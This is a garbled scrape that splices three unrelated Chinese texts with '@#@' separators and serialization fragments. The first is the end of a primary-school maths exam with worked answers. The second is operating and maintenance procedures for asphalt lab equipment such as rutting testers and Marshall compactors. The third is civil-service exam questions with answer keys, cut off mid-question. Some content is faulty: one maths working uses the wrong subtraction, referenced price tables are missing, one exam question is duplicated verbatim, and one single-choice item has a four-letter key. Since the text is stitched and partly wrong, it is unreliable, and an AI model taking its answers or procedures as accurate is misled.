@#@150×@#@5+130，@#@=750+130，@#@=880（千克）．@#@答：

@#@学校食堂买来880千克大米．@#@点评：

@#@@#@先求出运走的重量，然后加上没运走的，即为所求．@#@　@#@25．（6分）“六一”儿童节到了，郭老师去购买奖品，买笔记本用去57.6元，买钢笔的钱比买笔记本的钱少23.7元，郭老师买奖品一共用去多少元？

@#@@#@考点：

@#@@#@整数、小数复合应用题．@#@专题：

@#@@#@简单应用题和一般复合应用题．@#@分析：

@#@@#@买笔记本用去57.6元，买钢笔的钱比买笔记本的钱少23.7元，则买钢笔的钱是57.6﹣23.7=33.9元，再据加法的意义，即可得解．@#@解答：

@#@@#@解：

@#@57.6﹣33.9+57.6，@#@=33.9+57.6，@#@=91.5（元）；@#@@#@答：

@#@郭老师买奖品一共用去91.5元．@#@点评：

@#@@#@求出买钢笔的钱数，是解答本题的关键．@#@　@#@26．（6分）商场开展节日大酬宾活动．@#@考点：

@#@@#@图文应用题．@#@专题：

@#@@#@简单应用题和一般复合应用题．@#@分析：

@#@@#@已知6双72元，则每双72÷@#@6元，那么买12双要72÷@#@6×@#@12元，解决问题．@#@解答：

@#@@#@解：

@#@72÷@#@6×@#@12，@#@=12×@#@12，@#@=144（元）．@#@答：

@#@买12双要144元．@#@点评：

@#@@#@此题运用了关系式：

@#@总价÷@#@数量=单价，单价×@#@数量=总价．@#@　@#@27．（6分）国庆节“康康”旅行社推出“xx风景区一日游”两种出游价格方案：

@#@现有成人5人，儿童4人，选哪种方案合算？

@#@@#@考点：

@#@@#@最优化问题．@#@专题：

@#@@#@优化问题．@#@分析：

@#@@#@分别算出方案一和方案二以及交叉买票所花的总钱数，然后比较即可得出答案．@#@解答：

@#@@#@解：

@#@方案一：

@#@80×@#@5+30×@#@4，@#@=400+120，@#@=520（元）；@#@@#@方案二：

@#@50×@#@（5+4），@#@=50×@#@9，@#@=450（元）；@#@@#@方案三：

@#@可以让成人5人买团体票，4名儿童购买儿童票，@#@50×@#@5+30×@#@4，@#@=250+120，@#@=370（元）；@#@@#@因为：

@#@370＜450＜520，@#@所以选用成人5人买团体票，4名儿童购买儿童票最便宜．@#@点评：

@#@@#@在购票的优化问题中，一般尽量让成人购买团体票，儿童结合实际情况可以和成人交叉搭配团体票或单独购买儿童票；@#@总之怎么省钱就怎么购票．@#@　@#@28．（5分）下面是亮亮家2009年1月份至5月份用水量统计表．@#@一月份@#@二月份@#@三月份@#@四月份@#@五月份@#@用水量（吨）@#@27@#@32@#@20@#@25@#@29@#@

（1）根据统计表中的数据，把折线统计图补充完整．@#@

（2）　二　月份用水量最多，　三　月份用水量最少，相差　12　吨．@#@考点：

@#@@#@统计图表的填补；@#@从统计图表中获取信息．@#@专题：

@#@@#@统计图表的制作与应用．@#@分析：

@#@@#@

（1）根据统计表中的数据制作折线统计图．@#@

（2）通过统计图可知二月份的用水量最多，三月份的用水量最少，用二月份的用水量减去三月份的用水量就是二、三月份相差的吨数．@#@解答：

@#@@#@解：

@#@

（1）补充统计图如下：

@#@@#@

（2）二月份用水量最多，三月份用水量最少，@#@相差的吨数：

@#@@#@32﹣20=12（吨）；@#@@#@答：

@#@相差12吨．@#@故答案为：

@#@二，三，12．@#@点评：

@#@@#@本题考查了统计图的制作及考查学生运用统计图的数据分析解决问题的能力．@#@　@#@";i:

17;s:

14799:

"沥青砼试验设备仪器操作规程@#@电动液压脱模器@#@（DR-01）@#@1、接通电源，检查仪器是否正常。

@#@@#@2、根据试筒的不同高度，升降脱模丝杠至合适位置，使试模筒连同脱模板能顺利装上丝杠即可，其间距离应尽量小些。

@#@@#@3、将试模连同试模盖套在丝杠顶端，选用相应尺寸的脱模板装在试模筒上端。

@#@@#@4、旋转升降控制开关到上升位置，待试件脱出后，将旋扭转到下降的位置，待复位后将开关扭转到中位，取出试模。

@#@@#@电动液压脱模器维护@#@（DR-01）@#@1、要加注清洁并符合要求的液压油，油箱保证清洁，避免污染。

@#@@#@2、脱模器经常清洁。

@#@调整压力时不可超过油泵允许的最高压力。

@#@@#@3、开机前观察油箱的油标位置，如缺油应加注液压油至油标的上限。

@#@@#@4、使用过程中一旦发现滤油器堵塞应立即取出清洗或更换。

@#@@#@ @#@@#@电热真空干燥箱@#@（DZG-403型）@#@1、接通电源，检查仪器是否正常。

@#@@#@2、在数字控温仪上设定所需干燥温度，关闭放气阀门，打开抽气阀门。

@#@@#@3、打开加热开关、开启真空泵。

@#@@#@4、物品干燥后，关电源开关，关闭抽气阀门，旋转放气阀，关真空泵。

@#@@#@电热真空干燥箱维护@#@（DZG-403型）@#@1、保证泵及干燥箱内部的清洁，防止杂物进入。

@#@@#@2、开机前观察泵的油标位置，如缺油应加注液压油至油标的上限。

@#@@#@3、避免存放时水分或其它挥发性物质进入泵内而影响效果。

@#@@#@ @#@@#@车辙试样成型机@#@（CX-4型）@#@1、接通电源，检查仪器是否正常。

@#@@#@2、用控温器设置所需温度，打开加热开关。

@#@@#@3、待加热达到预定温度，将沥青混合料装入试模放入成型机。

@#@@#@4、将配重移动至所需位置进行预压，卸载后调转试模，调整计数器至碾压次数。

@#@启动仪器，碾压后移下配重，取出试模。

@#@@#@车辙试样成型机维护@#@（CX-4型）@#@1、应经常检查温度传感器、加热器，连线是否牢固、可靠。

@#@@#@2、每次试验后应及时清理承载车和机器上散落的混合料渣屑。

@#@@#@3、各轴承和活动部位应经常加注润滑油脂。

@#@@#@ @#@@#@车辙试验仪@#@（CZ-4型）@#@1、接通电源，检查仪器是否正常。

@#@@#@2、打开计算机，进入车辙试验程序，填写试验说明，设置各种参数。

@#@@#@3、待温度达到试验温度，放入试件养护。

@#@@#@4、养护完毕启动试验机，系统自动记录以位移为纵坐标，以时间为横坐标的曲线，并生成数据。

@#@@#@5、试验完毕，保存记录，打印报表。

@#@@#@车辙试验仪维护@#@（CZ-4型）@#@1、在车辙试验中，启动与停止转换不要过于频繁，以免出错甚至损坏部件。

@#@@#@2、应经常检查温度传感器、加热器，连线是否牢固、可靠。

@#@@#@3、每次试验后应及时清理机器内散落的混合料渣屑。

@#@@#@4、各轴承和活动部位应经常加注润滑油脂。

@#@@#@ @#@@#@沥青混合料最大相对密度试验仪@#@（HDXM-21型）@#@1、接通电源，检查仪器是否正常。

@#@@#@2、根据沥青混合料最大公称尺寸，取混合料。

@#@@#@3、将负压容器连同水及试件一起放入震动台中，盖好两只料筒的盖板，将放气阀关闭。

@#@@#@4、打开抽气开关，待真空表指针指示料筒的真空度达到97.3Kpa，打开震动开关，震动20分钟关闭震动、抽气开关。

@#@@#@5、拉出放气阀，取下料筒，关闭电源。

@#@@#@沥青混合料最大相对密度试验仪维护@#@（HDXM-21型）@#@1、严禁无油运转。

@#@泵运行时，严禁堵塞排气孔。

@#@@#@2、泵如长时间不使用，应予清理污物，应加盖好进排气帽，以免赃物落入泵内，还要注意防潮、防锈。

@#@@#@3、开机前观察油箱的油标位置，如缺油应加注液压油至油标的上限。

@#@@#@ @#@@#@自动混合料拌和机@#@（HB-20型）@#@1、接通电源，打开总开关。

@#@@#@2、设定所需温度及拌和时间、拌和转数。

@#@@#@3、待到达设定温度，提升拌和叶，放入预先加热的混合料。

@#@下降拌和叶，启动开关。

@#@@#@4、拌和完毕取出混合料，根据需要制备试样。

@#@@#@自动混合料拌和机维护@#@（HB-20型）@#@1、试验完毕后擦净加热锅、搅拌叶。

@#@@#@2、应经常检查温度传感器、加热器，连线是否牢固、可靠。

@#@@#@3、各轴承和活动部位应经常加注润滑油脂。

@#@@#@ @#@@#@马歇尔电动击实仪@#@（LD139型）@#@1、接通电源，打开总开关。

@#@@#@2、操作置数器，选择所需的击实锤数。

@#@@#@3、将手柄拉出，提起导杆，使导杆上部方槽卡住手柄杆上，导杆悬挂。

@#@@#@4、将填加混合料的试模放入仪器。

@#@@#@5、提住导杆，拉出手柄，将导杆及击实锤缓慢放入模筒中，启动开关。

@#@@#@马歇尔电动击实仪维护@#@（LD139型）@#@1、仪器表面应经常擦拭保持仪器清洁。

@#@@#@2、应经常检查置数器，连线是否牢固、可靠。

@#@@#@3、仪器链条及导杆上每次使用时应适当灌注少量机油，保持良好润滑。

@#@@#@ @#@@#@沥青含量测试仪@#@（LH-1型）@#@1、接通燃烧炉及打印机电源，打开燃烧炉开关。

@#@系统在等待120s后自动升温至550℃。

@#@@#@2、待升到规定温度后，按Shift+4+3键，按提示依次输入试验编号及沥青混合料质量，按回车确定。

@#@@#@3、将混合料均匀地分散在篦子上，放入燃烧炉，按Start键开始试验。

@#@@#@4、系统自动打印数据。

@#@@#@5、试验完毕将篦子取出。

@#@待冷却后将燃烧余料取出筛分。

@#@@#@沥青含量测试仪维护@#@（LH-1型）@#@1、每次试验后应及时清理机器内飘落的灰尘。

@#@@#@2、试验前检查打印纸和色带。

@#@@#@ @#@@#@冻融试验机@#@（DR-904型）@#@1、接通电源，打开总开关。

@#@@#@2、先打开鼓风开关，设定规定温度，待达到温度后，放入试件。

@#@@#@3、达到规定时间取出试件。

@#@@#@4、试验完毕关闭电源。

@#@@#@冻融试验机维护@#@（DR-904型）@#@1、只作低温试验时，试验结束后，应使鼓风继续工作，打开箱门以便快速吹干工作室内的水份。

@#@@#@2、使用本设备时，环境温度不得超过40℃。

@#@@#@3、当高温试验完成后，再进行低温试验，应关闭加热开关，打开箱门以便使温度迅速下降到环境温度。

@#@为下一次低温试验作准备。

@#@当箱内温度降至40以下时方能再次进行低温试验。

@#@@#@ @#@@#@自动数显洛山矶单筒磨耗机@#@（DM-III型）@#@1、检查线路是否完好，并用手拨动滚筒旋转正常，接通电源。

@#@@#@2、制备混合料，将钢球、混合料加入钢筒中，盖好筒盖，紧固密封。

@#@@#@3、将计数器调整到零位，设定要求的回转次数，回转次数位500转，开动磨耗机，以30r/min~33r/min至转速转动至要求的回转次数为止。

@#@@#@4、取出钢球，将经过磨耗后的试样从出料口倒入容器中。

@#@@#@自动数显洛山矶单筒维护@#@（DM-III型）@#@1、仪器用毕，将仪器内部清洁干净。

@#@@#@2、操作人员扭动电器开关，手保持干燥以免触电。

@#@@#@3、各轴承和活动部位应经常加注润滑油脂。

@#@@#@ @#@@#@磨光试验机@#@（JM-2型）@#@1、接通电源，检查仪器是否正常。

@#@@#@2、将制备的试件安装于道路轮上。

@#@每两块试件间应置一块橡胶石棉垫，顺序旋紧螺丝。

@#@@#@3、盖上机盖，接通水源及打开出料斗中调节闸板。

@#@开启电源，磨光机开始运转，溜砂量控制在30g/min±@#@5g/min。

@#@@#@4、3h后关掉电源，取下出砂斗，清除斗中金刚砂。

@#@重新开机，溜砂量调整控制在3g/min，3h后停止。

@#@@#@5、仪器用毕，将仪器内部清洁干净。

@#@操作人员扭动电器开关，手保持干燥以免触电。

@#@@#@磨光机维护@#@（JM-2型）@#@1、仪器用毕，将仪器清洁干净。

@#@@#@2、各轴承和活动部位应经常加注润滑油脂。

@#@@#@ @#@@#@电热恒温水箱@#@（DHW-600型）@#@1、将恒温水箱放在固定平台上，使用前接妥地线。

@#@@#@2、将清水注入箱内，超过隔板5公分以上，为缩短升温时间也可加入热水。

@#@@#@3、接通电源，打开电源开关，把控温旋钮转到所需温度值，绿灯亮表示水箱开始自动升温。

@#@@#@4、当绿灯灭，红灯亮时，表示达到了所需温度值，开始自动恒温。

@#@@#@电热恒温水箱维护@#@（DHW-600型）@#@1、加水前切勿接通电源，在使用过程中，水位一定高于隔板5公分，否则，电热管将受到爆损。

@#@@#@2、使用后箱内应及时放净，擦拭干净，保持清洁。

@#@@#@3、电源应有接地线。

@#@@#@ @#@@#@电热恒温水箱@#@（HHW21-600型）@#@1、将恒温水箱放在固定平台上，使用前接妥地线。

@#@@#@2、将清水注入箱内，超过隔板5公分以上，为缩短升温时间也可加入热水。

@#@@#@3、接通电源，打开电源开关，把控温旋钮转到所需温度值，绿灯亮表示水箱开始自动升温。

@#@@#@4、当绿灯灭，红灯亮时，表示达到了所需温度值，开始自动恒温。

@#@@#@电热恒温水箱维护@#@（HHW21-600型）@#@1、加水前切勿接通电源，在使用过程中，水位一定高于隔板5公分，否则，电热管将受到爆损。

@#@@#@2、使用后箱内应及时放净，擦拭干净，保持清洁。

@#@@#@3、电源应有接地线。

@#@@#@ @#@@#@混轮磨耗仪@#@（TL-24）@#@1、把试件从烘箱中取出冷却至室温，称取油毛毡圆片及试件的合计重量，准确至1g。

@#@@#@2、将试件及油毛毡放入25℃的水浴中保温60min～70min。

@#@@#@3、把试件及油毛毡从水浴中取出，放入盛样盘中，往盛样盘中加入25℃的水中，使试件完全浸入水中，水面到试件表面的深度不少于6mm。

@#@@#@4、把装有试样的盛样盘固定再磨耗仪升降平台上，提升平台并锁住，此时试件顶起磨耗头。

@#@@#@5、开动仪器，使磨耗头转动300±@#@2s后停止。

@#@@#@6、降下升降平台将试件从盛样盘中取出，用水冲洗掉磨下的碎屑，放入60℃烘箱中至恒温。

@#@@#@7、从烘箱中取出试件，冷却至室温，然后称取试件和油毛毡的总质量。

@#@@#@混轮磨耗仪维护@#@（TL-24）@#@1、试验前检查电线插头是否可靠牢固。

@#@@#@2、升降扳手是否到位。

@#@@#@3、盛样盘压紧机构是否压紧。

@#@@#@4、磨头胶管是否夹紧牢固。

@#@@#@5、仪器使用一段时间后，打开减速箱上盖，加入润滑脂。

@#@@#@粘结力试验仪@#@（NS-20）@#@1、将初凝后的试件置于粘结力试验仪的气动橡胶垫下，隔15min。

@#@@#@2、将气动橡胶底座压在试件上面，传力杆与试件中心接触，用自行车气筒或空气压缩机向仪器加压。

@#@@#@3、当仪器压力表达到0.72MPa时，保持此压力5s～6s，此时橡胶底座对试件的压力为193KPa。

@#@@#@4、将测扭矩扳手测力表归零并套住气缸杆上端，在0.7s～1.0s内平稳、水平地扭转90°@#@～120°@#@并读取扭矩表读书和相应的时间。

@#@@#@5、升起橡胶底座，并擦干净底部，每隔15min，重复上述步骤。

@#@当固化时间较长时，间隔时间可延长值30min重复试验一次。

@#@@#@6、重复试验至最大扭矩，且此扭矩为定值时为止。

@#@@#@7、记录达到最大扭矩的时间及试验时的气温和湿度。

@#@固化时间加上初凝时间就是此稀浆混合料的“早期开放交通时间”。

@#@@#@粘结力试验仪维护@#@（NS-20）@#@1、使用该仪器时，首先调整好气压，气压最高达0.8MPa。

@#@@#@2、使用打气筒或气泵打压，板动气缸换向阀手柄7，试一下气缸压头是否上下移动，如有卡滞，可用扳手扳动气缸杆8，并同时扳动气缸幻想手柄7。

@#@@#@3、调整截流阀，以改变气缸往下冲击力。

@#@@#@负荷车轮试验仪@#@（FLS-55）@#@1、调节连接臂轴和脚轮之间的距离为61cm，轮子必须对中，保证轮子运动时框架保持平衡。

@#@@#@2、将配重箱对中，保证中心在轮轴的垂直方向。

@#@@#@3、将清洗干净的负荷轮放在台秤上，这时连接臂要和框架平行。

@#@然后往配重箱加载，调节总质量为56.7kg。

@#@@#@4、抬起轮子，把试样对着定位销，安装在仪器上，用元宝螺母夹紧。

@#@@#@5、把负荷轮放在试样上。

@#@开动仪器使轮子在试样上往复碾压1000次，碾压的频率为每分钟44次。

@#@在碾压过程中如发现样品上有出现发粘现象或明显的发亮点时，可洒少量水以防止轮子把样品粘起。

@#@@#@6、1000次碾压后停下仪器，卸载，把试样取下，用水把试样表面冲洗干净，放在60℃的烘箱中至恒重。

@#@@#@7、从烘箱中取出试样并称重，立即把试样重新装在仪器的原来位置上。

@#@把砂架放在样品上对好位置，称取200g82℃的热砂倒入砂框中迅速摊平，将钢盖板放在砂架中间。

@#@@#@8、把负荷轮放在钢盖板上。

@#@开动仪器以相同的频率碾压100次。

@#@@#@9、碾压100次后停机，取下试样，用毛刷轻轻刷去试样上的浮砂，然后称试样及吸附的砂子总质量。

@#@@#@负荷车轮试验仪维护@#@（FLS-55）@#@1、试验前检查电线插头是否可靠牢固。

@#@@#@2、配重箱中的配重物要均匀。

@#@@#@3、启动时，脚轮应处在离电机最近处开始启动，否则有可能启动不成功。

@#@@#@ @#@@#@电热鼓风恒温干燥箱@#@DL-202DS型@#@1、开启电源开关，温度控制仪表显示的数值是当前工作室的温度值。

@#@@#@2、按所需要的工作温度进行温度的设定。

@#@@#@3、试验工作结束后，须关闭电源开关，及时切断设备的电源（以避免损坏可空控硅等器件）。

@#@@#@ @#@@#@电热鼓风恒温干燥箱维护@#@DL-202DS型@#@1、电热恒温干燥箱使用时，必须有可靠的接地以确保使用的安全。

@#@@#@2、定期检查，保持各电气接点接触良好。

@#@@#@3、本设备为非防爆型的设备，不得进行易燃、易爆物品的实验，以免发生危险。

@#@@#@4、使用时必须有专人看管，物品取出擦试干净。

@#@@#@5、电热恒温干燥箱发生异常现象，应及时检查、维修。

@#@@#@ @#@@#@";i:

18;s:

28630:

"吉林省白城市大安市农业农村局招聘编外人员招聘试题及答案解析@#@　　一、选择题（在下列每题四个选项中选择符合题意的，将其选出并把它的标号写在题后的括号内。

@#@@#@　　错选、多选或未选均不得分。

@#@）@#@　　1、下列表述中正确的是（）。

@#@@#@　　A、湿地享有“地球之肾”的美誉@#@　　B、通常以本初子午线划分东西半球@#@　　C、对流层是距离地面最远的大气层，其中存在电离层@#@　　D、秘鲁渔场的形成是由于寒暖流的交汇@#@　　【答案】A@#@　　【解析】B项中，本初子午线，即零度经线，被公认为是世界计算经度的起点线，但东西半球的分界线是西经20度和东经160度，该项错误。

@#@C项中，对流层是地球大气层靠近地面的一层，人类即生活在对流层底部，而高层大气中存在电离层，该项错误。

@#@D项中，世界四大渔场中，北海道渔场、纽芬兰渔场及北海渔场的形成是由于寒暖流的交汇，而秘鲁渔场的形成则是由于上升补偿流的作用，该项错误。

@#@因此A项当选。

@#@@#@　　2、因特网已经渗透到人们的日常生活、工作、学习和娱乐中，下列关于因特网的描述正确的是（）。

@#@@#@　　A、因特网又被我们称为“新媒体”@#@　　B、网络时代又被人们简称为“e时代”@#@　　C、主页是一个网站上容纳信息最多的页@#@　　D、上网的网址应在浏览器的链接栏输入@#@　　【答案】B@#@　　【解析】A项，新媒体是新的技术支撑体系下出现的媒体形态，如数字杂志、数字报纸、数字广播、手机短信、网络、桌面视窗、数字电视、数字电影、触摸媒体等，因此因特网与新媒体并不是同一概念，该项描述错误。

@#@@#@　　B项，“e时代”最初指电子（electronic）时代，随着计算机和网络的普及，e时代已经泛指整个网络时代，因此该项描述正确，当选。

@#@@#@　　C项，主页只是一个网站的起点站或者主目录，容纳的信息不一定最多，因此该项描述错误。

@#@@#@　　D项，上网的网址应在浏览器的地址栏输入，而非链接栏，因此该项描述错误。

@#@@#@　　3、公务员职业道德的根本价值取向是（）。

@#@@#@　　A、提高工作效率@#@　　B、提升道德境界@#@　　C、维护社会公正@#@　　D、培育高尚人格@#@　　【答案】C@#@　　【解析】公务职业道德的根本价值取向是维护社会公正。

@#@故选C。

@#@@#@　　4、下列行政组织结构中，（）适用于专业区分极为明确的组织。

@#@@#@　　A、直线结构形式@#@　　B、职能式结构形式@#@　　C、直线一职能式结构形式@#@　　D、矩阵式结构形式@#@　　【答案】C@#@　　【解析】直线职能型组织结构是现代工业中最常见的一种结构形式，而且在大中型组织中尤为普遍。

@#@这种组织结构的特点是：

@#@以直线为基础，在各级行政主管之下设置相应的职能部门（如计划、销售、供应、财务等部门）从事专业管理，作为该级行政主管的参谋，实行主管统一指挥与职能部门参谋一指导相结合。

@#@所以直线一职能式结构形式适用于专业区分极为明确的组织。

@#@故选C。

@#@@#@　　5、农村学生营养午餐改善计划实施以来，学生的身体素质得到了提高。

@#@某学校为学生提供的一份午餐包括馒头、素炒黄瓜、苹果。

@#@这份午餐搭配中缺少的营养元素是（）。

@#@@#@　　A、油脂@#@　　B、蛋白质@#@　　C、维生素@#@　　D、糖类@#@　　【答案】B@#@　　【解析】生活常识。

@#@人体最主要的营养素有碳水化合物、蛋白质、脂类、水、矿物质、维生素、糖类等七大营养素。

@#@蛋白质是维持生命不可缺少的物质。

@#@肉、蛋、奶、豆类含丰富优质蛋白质，是每日必须提供的。

@#@因此，本题中缺少蛋白质。

@#@B项当选。

@#@@#@　　6、根据事由：

@#@@#@　　“×@#@×@#@公司发行重点钢铁企业债券”，应使用的文种是（）。

@#@@#@　　A、通报@#@　　B、通知@#@　　C、通告@#@　　D、决定@#@　　【答案】C@#@　　【解析】通报适用于表彰先进、批评错误、传达重要精神和告知重要情况；@#@适用于发布、传达要求下级机关执行和有关单位周知或者执行的事项，批转、转发公文；@#@通告。

@#@适用于在一定范围内公布应当遵守或者周知的事项。

@#@结合题干分析，“×@#@×@#@公司发行重点钢铁企业债券”是一个需要在一定范围内公布应当周知的事项，适用通告。

@#@故选C。

@#@@#@　　7、生产资料是指（）。

@#@@#@　　A、劳动资料和劳动工具之和@#@　　B、劳动资料和劳动对象之和@#@　　C、劳动对象和劳动工具之和@#@　　D、劳动资料和劳动手段之和@#@　　【答案】B@#@　　【解析】本题考查生产资料的内容。

@#@生产资料是人们从事物质资料生产所必需的一切物质条件,也称作生产手段。

@#@生产资料是生产过程中的劳动资料和劳动对象的总和，它是任何社会进行物质生产所必备的物质条件。

@#@生产资料是生产力中物的因素，在任何社会生产中，人们总是借助于生产资料，通过自己的劳动生产出劳动产品。

@#@@#@　　因此本题正确答案为B。

@#@@#@　　8、下列不属于行政决策的特征的是（）。

@#@@#@　　A、决策主体的特定性@#@　　B、决策内容的广泛性@#@　　C、决策的程序性@#@　　D、决策的权威性@#@　　【答案】C@#@　　【解析】情况有时候会是突发的，这个时候的决策也就不可能按照程序来进行。

@#@因此决策的程序性不属于行政决策的特征。

@#@@#@　　9、在中华民族源远流长的历史长河中，诞生了许多歌颂爱情的诗词。

@#@下列诗词与作者对应错误的是（）。

@#@@#@　　A、日日思君不见君，共饮长江水——李之仪@#@　　B、此情可待成追忆，只是当时已惘然——李煜@#@　　C、曾经沧海难为水，除却巫山不是云——元稹@#@　　D、衣带渐宽终不悔，为伊消得人憔悴——柳永@#@　　【答案】B@#@　　【解析】@#@　　“此情可待成追忆，只是当时已惘然”出自唐代诗人李商隐的《锦瑟》，B项错误，当选。

@#@@#@　　“日日思君不见君，共饮长江水”出自北宋诗人李之仪的《卜算子•我住长江头》。

@#@@#@　　“曾经沧海难为水，除却巫山不是云”出自唐代诗人元稹的《离思五首》。

@#@@#@　　“衣带渐宽终不悔，为伊消得人憔悴”出自北宋词人柳永的《蝶恋花•伫倚危楼风细细》。

@#@@#@　　10、组成生态系统的角色包括非生物的物质和能量以及生产者、消费者和分解者。

@#@下列属于同一角色的是（）。

@#@@#@　　A、空气、阳光、人类@#@　　B、绿色植物、蓝藻@#@　　C、蚯蚓、鱼类@#@　　D、蜣螂、蘑菇、硝化细菌@#@　　【答案】B@#@　　【解析】A项，空气和阳光属于非生物的物质和能量，人类属于消费者。

@#@B项，两者均属于生产者，当选。

@#@@#@　　C项，蚯蚓属于分解者，鱼类属于消费者。

@#@D项，蜣螂和蘑菇属于分解者，硝化细菌属于生产者。

@#@@#@　　11、相对过剩人口形成的根本原因是（）。

@#@@#@　　A、生产能力过剩@#@　　B、人口增长过快@#@　　C、资本主义剥削制度本身@#@　　D、劳动力价值过高@#@　　【答案】C@#@　　【解析】相对过剩人口并不是说人口过多了，而是指相对于资本家的需要来说，而成为多余人口，其产生根源在于资本主义剥削制度本身。

@#@故选C。

@#@@#@　　12、认识主体和认识客体具有（）。

@#@@#@　　A、实践关系@#@　　B、认识关系@#@　　C、价值关系@#@　　D、改造与被改造关系@#@　　【答案】ABCD@#@　　【解析】认识主体是指处于一定历史条件和社会关系中从事实践活动和认识活动的个人或社会集团。

@#@认识客体是指认识主体在认识活动中所指向的对象。

@#@认识主体与客体的关系为:

@#@@#@　　

（1）反映和被反映的关系，即认识关系。

@#@@#@　　

（2）改造和被改造的关系，即实践关系。

@#@认识不是主体对客体的直接摹写，而是主体对客体的加工再现。

@#@主体不仅可以反映客体，而且可以用认识做指导改造客体。

@#@@#@　　（3）价值关系，即主体对客体的需要和客体对主体的需要的满足。

@#@故本题选ABCD。

@#@@#@　　13、根据决策目标的影响程度不同，决策可以分为（）。

@#@@#@　　A、战略决策和战术决策@#@　　B、单目标决策和多目标决策@#@　　C、程序性决策和非程序性决策@#@　　D、常规决策和重复决策@#@　　【答案】A@#@　　【解析】根据不同的标准，决策可以划分为不同的类型。

@#@根据决策目标的多寡，可以分为单目标决策和多目标决策;@#@根据决策问题的重复程度不同，可以划分为程序性决策和非程序性决策。

@#@因此B项和C项不是正确答案，D项说的实际上是同一种决策，即程序性决策。

@#@@#@　　14、公务员意识中一种强烈的行政责任感和自我评价的能力是（）。

@#@@#@　　A、行政良心@#@　　B、行政规范@#@　　C、行政权力@#@　　D、行政信念@#@　　【答案】A@#@　　【解析】行政良心表现了公务员自我内在的责任感和良知。

@#@故选A。

@#@@#@　　15、（）是指随着农业生产的社会分工逐步加深，农业中的各生产部门，由从属性部门发展成为独立的部门。

@#@@#@　　A、农业作业专业化@#@　　B、农业生产部门专业化@#@　　C、农业生产地区专业化@#@　　D、农业生产区域化@#@　　【答案】B@#@　　【解析】农业生产部门专业化是指随着农业生产的社会分工逐步加深，农业中的各生产部门，由从属性部门发展成为独立的部门。

@#@例如：

@#@粮、棉、油、麻、丝、茶、糖、菜、烟、果、药、杂等逐步由种植业中相继独立出来成为专业化的生产部门。

@#@故选B。

@#@@#@　　16、古往今来，人们一直嘲笑“杞人”是“天上本无事，庸人自扰之”，今天“忧天”不再是无稽之谈，是因为（）。

@#@@#@　　A、大量的二氧化碳被排入大气，会破坏大气层中的臭氧层@#@　　B、现在生产的无氟冰箱不再使用氟利昂@#@　　C、人类生产生活造成了严重的大气污染@#@　　D、一切事物都处在永不停息的运动变化发展过程中@#@　　【答案】D@#@　　【解析】AC两项意在说明人类活动造成严重的大气污染，“忧天”也成了一种必然的情绪。

@#@B项“无氟冰箱不再使用氟利昂”是人类通过科技创新努力保护生态环境的表现，不能成为“忧天”的理由。

@#@从哲学意义上来说，客观世界处在永不停息的运动变化发展过程中，随着客观世界的变化人类心态也随之转变，因而，今天“忧天”不再是无稽之谈。

@#@故选D。

@#@@#@　　17、某机械广购买钢材支付现金120万元，又根据规定交了2万元的增值税。

@#@这里，货币先后执行的职能是（）。

@#@@#@　　A、价值尺度和流通手段@#@　　B、流通手段和支付手段@#@　　C、支付手段和流通手段@#@　　D、价值尺度和支付手段@#@　　【答案】B@#@　　【解析】流通手段是货币充当商品交换媒介的职能。

@#@支付手段是货币作为独立的价值形式进行单方面运动（如清偿债务、缴纳税款、支付工资和租金等）时所执行的职能。

@#@作为流通手段的货币，不能是观念上的货币，而必须是实在的货币。

@#@支付现金120万元是货币的流通手段。

@#@故选B。

@#@@#@　　18、能够坚持彻底的唯物主义一元论的是（）。

@#@@#@　　A、朴素唯物论@#@　　B、庸俗唯物论@#@　　C、机械唯物论@#@　　D、辩证唯物论@#@　　【答案】D@#@　　【解析】世界物质统一性原理是辩证唯物论彻底的唯物主义一元论世界观的理论基础。

@#@朴素唯物论试图在某些特殊的东西中，寻找具有无限多样性的自然现象的统一;@#@庸俗唯物论混淆物质和意识的严格界限，取消唯物主义和唯心主义的对立;@#@机械唯物论认为世界上物质的变化在根本上只有位置和数量的变化，所以，虽然它们都承认世界是物质的，但是都没有彻底认识到物质世界的统一性、多样性，不是彻底的唯物主义一元论。

@#@因此本题答案为D。

@#@@#@　　19、能够坚持彻底的唯物主义一元论的是（）。

@#@@#@　　A、朴素唯物论@#@　　B、庸俗唯物论@#@　　C、机械唯物论@#@　　D、辩证唯物论@#@　　【答案】D@#@　　【解析】世界物质统一性原理是辩证唯物论彻底的唯物主义一元论世界观的理论基础。

@#@朴素唯物论试图在某些特殊的东西中，寻找具有无限多样性的自然现象的统一;@#@庸俗唯物论混淆物质和意识的严格界限，取消唯物主义和唯心主义的对立;@#@机械唯物论认为世界上物质的变化在根本上只有位置和数量的变化，所以，虽然它们都承认世界是物质的，但是都没有彻底认识到物质世界的统一性、多样性，不是彻底的唯物主义一元论。

@#@因此本题答案为D。

@#@@#@　　20、发文登记一般采用的形式是（）。

@#@@#@　　A、联单式@#@　　B、簿册式@#@　　C、卡片式@#@　　D、图表式@#@　　【答案】B@#@　　【解析】发文登记一般采用簿册式登记的形式，每年一本，便于保存，也便于查找。

@#@多数机关采用这种方式。

@#@故选B。

@#@@#@　　21、从个人和社会相统一的观点出发，人生价值的实现在于（）。

@#@@#@　　A、完成对他人和社会需求的满足@#@　　B、实现最大限度的自由选择@#@　　C、满足社会和自我多方面的需要@#@　　D、社会对个人尊严和需要的满足@#@　　【答案】C@#@　　【解析】从个人和社会相统一的观点出发，人的自我价值在于通过自己的活动满足社会和自我的多方面需要。

@#@故选C。

@#@@#@　　22、制约人民群众创造活动的首要因素是（）。

@#@@#@　　A、社会政治@#@　　B、社会经济@#@　　C、精神文化@#@　　D、意识形态@#@　　【答案】B@#@　　【解析】题干中设问为首要因素，意味着在四个选项中要选择最基本、最直接、影响最大最深远的。

@#@根据马克思历史唯物主义的观点，人民群众是历史的主体，是历史的创造者，是历史变更的决定性力量，人民群众在创造历史的过程中会受到诸多因素的影响，其中最根本的还是生产力和生产关系、经济基础和上层建筑之间的关系。

@#@比较ABCD四个选项，最符合上述表述的是B项，经济基础决定上层建筑，比如社会经济的发展到了资本主义雇佣的时期，那势必会影响人民去改革现有的政治体制，以适应新的资本主义的经济体制。

@#@故选B。

@#@@#@　　23、社会主义和资本主义的本质区别是（）。

@#@@#@　　A、生产力的性质和发展水平不同@#@　　B、社会基本矛盾不同@#@　　C、生产关系和上层建筑的不同@#@　　D、意识形态的不同@#@　　【答案】C@#@　　【解析】社会形态划分的标准是生产关系。

@#@@#@　　24、具体劳动和抽象劳动的区别在于（）。

